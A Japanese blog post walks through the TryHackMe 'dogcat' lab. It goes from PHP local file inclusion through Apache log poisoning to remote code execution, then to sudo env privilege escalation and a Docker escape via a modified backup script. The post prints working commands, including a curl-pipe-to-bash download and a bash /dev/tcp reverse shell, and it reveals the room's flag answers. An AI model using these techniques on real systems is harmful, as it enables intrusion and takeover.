2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】dogcat:Walkthrough

Posted at

概要

TryHackMe「dogcat」のWalkthroughです。

Task1

Q1.What is flag 1?

Hint.There's more to view than just cats and dogs...

ポートスキャンを実行します。

$ nmap -Pn -T4 -sVC -A -p- 10.10.21.15 -oN nmap_result
PORT      STATE    SERVICE  VERSION
22/tcp    open     ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 24:31:19:2a:b1:97:1a:04:4e:2c:36:ac:84:0a:75:87 (RSA)
|   256 21:3d:46:18:93:aa:f9:e7:c9:b5:4c:0f:16:0b:71:e1 (ECDSA)
|_  256 c1:fb:7d:73:2b:57:4a:8b:dc:d7:6f:49:bb:3b:d0:20 (ED25519)
80/tcp    open     http     Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: dogcat

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 7.6p1
80 http Apache/2.4.38

80番ポートにアクセスします。

image.png

A dog,A catボタンをそれぞれ押すことで、犬猫の画像が表示されます。

image.png

犬の画像はdogs配下から取得しているようです。
/?view=./dogの様な値でも正常に動作しました。

image.png

ディレクトリスキャンをします。

$ dirsearch -u http://10.10.21.15

[06:05:41] 200 -    0B  - /flag.php

ソースコードの中は見られませんがflag.phpを発見しました。

さらに別の辞書ファイルを使用してスキャンします。

$ dirsearch -u http://10.10.21.15 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

[06:08:29] 301 -  309B  - /cats  ->  http://10.10.21.15/cats/
[06:08:46] 301 -  309B  - /dogs  ->  http://10.10.21.15/dogs/

?view=catsでリクエストを送信すると、エラー文からPHPのinclude()関数でページを読み込んでいると分かりました。

image.png

LFIができそうです。

PHP Filter Base64 encodeのテクニックを使用してindex.phpのソースコードを取得できました。

/?view=php://filter/convert.base64-encode/resource=./dog/../index

image.png

index.php
<!DOCTYPE HTML>
<html>

<head>
    <title>dogcat</title>
    <link rel="stylesheet" type="text/css" href="/style.css">
</head>

<body>
    <h1>dogcat</h1>
    <i>a gallery of various dogs or cats</i>

    <div>
        <h2>What would you like to see?</h2>
        <a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
        <?php
            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
	    $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
            if(isset($_GET['view'])) {
                if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
                    echo 'Here you go!';
                    include $_GET['view'] . $ext;
                } else {
                    echo 'Sorry, only dogs or cats are allowed.';
                }
            }
        ?>
    </div>
</body>

</html>

extパラメータがない場合は.php拡張子を自動で追加しています。

index.php
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';

viewパラメータにdogcatの文字列が入っている必要があります。

index.php
 if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
    echo 'Here you go!';
    include $_GET['view'] . $ext;
}

同様の手法で先ほど発見したflag.phpを取得します。

/?view=php://filter/convert.base64-encode/resource=./dog/../flag

一つ目のフラグを得られました。

flag.php
<?php
$flag_1 = "THM{Th1s_1s_N0t_4_Catdog_ab67edfa}"
?>

A.THM{Th1s_1s_N0t_4_Catdog_ab67edfa}

Q2.What is flag 2?

LFiからのRCEテクニックとしてApacheなどのログポイズニングがあります。
User-AgentなどにPHPのソースコードを埋め込み、LFIを悪用してログファイルを読み込み実行させます。

LFIでログファイルを読み込めるパラメータをBurpでファジングします。

image.png

./dog/../../../../../../../var/log/apache2/access.log&ext=でApacheのアクセスログを表示できました。

image.png

image.png

User-AgentにRCEのペイロードを挿入しリクエストを送信します。

image.png

試しにwhoamiコマンドで確認すると確かに実行されています。

$ curl "http://10.10.92.70/?view=./dog/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fvar%2flog%2fapache2%2faccess%2elog&ext&c=whoami"

(省略)

10.6.55.144 - - [16/Dec/2024:13:21:28 +0000] "GET / HTTP/1.1" 200 500 "-" "www-data"

リバースシェルファイルを作成しターゲットマシンにアクセスさせます。

$ curl "http://10.10.92.70/?view=./dog/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fvar%2flog%2fapache2%2faccess%2elog&ext&c=curl+http://10.6.55.144/shell.sh|bash

実行させることでリバースシェルを張れました。

$ nc -lvnp 1234                                       
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.64.133] 40376
sh: 0: can't access tty; job control turned off
$ whoami
www-data

ホスト名からDockerコンテナ内だと分かりました。

$ hostname
2a6fc154f2bf

sudo -lで確認するとenvコマンドが許可されています。

$ sudo -l
sudo -l
Matching Defaults entries for www-data on 330ab76b16f3:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on 330ab76b16f3:
    (root) NOPASSWD: /usr/bin/env

GTFOBinsで権限昇格のテクニックが見つかりました。

rootに昇格出来ました。

$ sudo /usr/bin/env /bin/sh
sudo /usr/bin/env /bin/sh
whoami
root

フラグファイルを検索するとフラグ3まで見つかりました。

find / -name *flag* 2>/dev/null

/var/www/html/flag.php
/var/www/flag2_QMW7JvaY2LvK.txt
/root/flag3.txt

/var/www/flag2_QMW7JvaY2LvK.txtからフラグ2を入手できました。

cat /var/www/flag2_QMW7JvaY2LvK.txt
THM{LF1_t0_RC3_aec3fb}

A.THM{LF1_t0_RC3_aec3fb}

Q3.What is flag 3?

/root/flag3.txtからフラグ3を取得できました。

cat /root/flag3.txt
THM{D1ff3r3nt_3nv1ronments_874112}

A.THM{D1ff3r3nt_3nv1ronments_874112}

Q4.What is flag 4?

/opt/backups/backup.shを確認するとtarコマンドでバックアップを取っていることが分かります。

/opt/backups/backup.sh
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container

ここにリバースシェルコードを仕込みます。

echo "bash -c 'bash -i >& /dev/tcp/10.6.55.144/12345 0>&1'" >> backup.sh

Netcatでリッスンしているとコンテナを抜けてrootを取得できました。

$ nc -lvnp 12345                                      
listening on [any] 12345 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.64.133] 33606
bash: cannot set terminal process group (8478): Inappropriate ioctl for device
bash: no job control in this shell
root@dogcat:~# whoami
whoami
root

/root/flag4.txtからフラグ4を入手できました。

# cat /root/flag4.txt
cat /root/flag4.txt
THM{esc4l4tions_on_esc4l4tions_on_esc4l4tions_7a52b17dba6ebb0dc38bc1049bcba02d}

rootのプロセスを確認すると定期的にコンテナ内のbackup.shを実行していました。

CMD: UID=0     PID=8722   | /bin/bash /root/container/backup/backup.sh

A.THM{esc4l4tions_on_esc4l4tions_on_esc4l4tions_7a52b17dba6ebb0dc38bc1049bcba02d}

2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?